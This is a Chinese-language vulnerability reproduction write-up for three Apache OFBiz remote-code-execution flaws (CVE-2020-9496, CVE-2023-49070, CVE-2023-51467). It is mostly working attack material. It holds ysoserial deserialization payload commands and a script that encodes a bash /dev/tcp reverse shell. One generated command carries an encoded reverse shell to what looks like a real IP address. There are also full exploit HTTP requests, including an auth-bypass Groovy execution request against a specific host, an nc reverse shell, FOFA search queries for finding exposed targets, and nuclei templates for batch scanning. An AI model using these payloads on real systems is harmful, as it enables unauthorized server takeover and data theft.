Apache OfBiz 反序列化命令执行漏洞(CVE-2020-9496)

漏洞描述

Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。

影响版本

Apache OfBiz 17.12.01版本

漏洞复现

打开网站

1704160769212.png

使用ysoserial的CommonsBeanutils1来生成Payload:

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

1704160907658.png

此处反弹shell的话需要先将反弹shell命令编码

import base64

def encode_command(ip,port):
    cmd = "bash -i >/dev/tcp/"+ip+"/"+port+" 0>&1"
    encoder = base64.b64encode(cmd.encode("utf-8"))
    return "bash -c {echo,"+encoder.decode("utf-8")+"}|{base64,-d}|{bash,-i}"


if __name__ == '__main__':
    print(encode_command("IP","端口"))

1704162393238.png

yso生成

java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+L2Rldi90Y3AvNDcuMTA5LjQ0LjE5NS8yMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"

1704162436990.png

请求包

POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

1704162545687.png

反弹shell成功

1704162501784.png

Apache OfBiz 反序列化命令执行漏洞(CVE-2023-49070)

漏洞描述

Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

在Apache OFBiz 17.12.03版本及以前存在一处XMLRPC导致的反序列漏洞,官方于后续的版本中对相关接口进行加固修复漏洞,但修复方法存在绕过问题(CVE-2023-49070),攻击者仍然可以利用反序列化漏洞在目标服务器中执行任意命令。

Apache OFBiz官方于18.12.10中彻底删除xmlrpc接口修复该漏洞。

影响版本

Apache OfBiz 18.12.09

漏洞复现

漏洞复现方式与CVE-2020-9496相似,只是需要绕过官方对于漏洞的补丁限制。

使用ysoserial的CommonsBeanutils1来生成Payload:

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

1704162973902.png

请求包

POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

1704163042084.png

成功在被攻击机创建文件

1704163104961.png

nuclei批量验证

id: CVE-2023-49070

info:
  name: Apache OFBiz < 18.12.10 - Arbitrary Code Execution
  author: your3cho
  severity: critical
  description: |
    Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.
  remediation: Users are recommended to upgrade to version 18.12.10.
  reference:
    - https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3
    - https://seclists.org/oss-sec/2023/q4/257
    - https://twitter.com/Siebene7/status/1731870759130427726
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49070
    - https://issues.apache.org/jira/browse/OFBIZ-12812
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-49070
    cwe-id: CWE-94
    epss-score: 0.437
    epss-percentile: 0.97007
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query: html:"OFBiz"
    fofa-query: app="Apache_OFBiz"
  tags: seclists,cve,cve2023,apache,ofbiz,deserialization,rce

http:
  - raw:
      - |
        POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0"?>
          <methodCall>
            <methodName>{{randstr}}</methodName>
            <params>
              <param>
              <value>
                <struct>
               <member>
                  <name>test</name>
                  <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{{generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")}}</serializable>
                  </value>
                </member>
              </struct>
              </value>
            </param>
            </params>
        </methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '<name>faultString</name>'

Apache OFBiz 鉴权绕过导致命令执行(CVE-2023-51467)

描述

该系统的身份验证机制存在缺陷,可能允许未授权用户通过绕过标准登录流程来获取后台访问权限。此外,在处理特定数据输入时,攻击者可构造恶意请求绕过身份认证,利用后台相关接口功能执行groovy代码,导致远程代码执行。

影响版本

Apache Ofbiz < 18.12.11

fofa语句

cert="Organizational Unit: Apache OFBiz" || (body="www.ofbiz.org" && body="/images/ofbiz_powered.gif") || header="Set-Cookie: OFBiz.Visitor" || banner="Set-Cookie: OFBiz.Visitor"

漏洞复现

payload


POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 1.214.41.74:18087
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);

1.png

反弹shell

payload

nc -c bash IP 端口

1704186319911.png

1704186402619.png

nuclei批量验证

1704181847279.png


id: Apache-OFBiz-ProgramExport-rce

info:
  name: Apache-OFBiz-ProgramExport-rce
  author: changge
  severity: info
  description: description
  reference:
    - https://
  tags: tags

requests:
  - raw:
      - |-
        POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept: */*
        Accept-Language: en-US;q=0.9,en;q=0.8
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
        Connection: close
        Cache-Control: max-age=0
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 55

        groovyProgram=throw+new+Exception('id'.execute().text);

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - .Exc
      - type: status
        status:
          - 200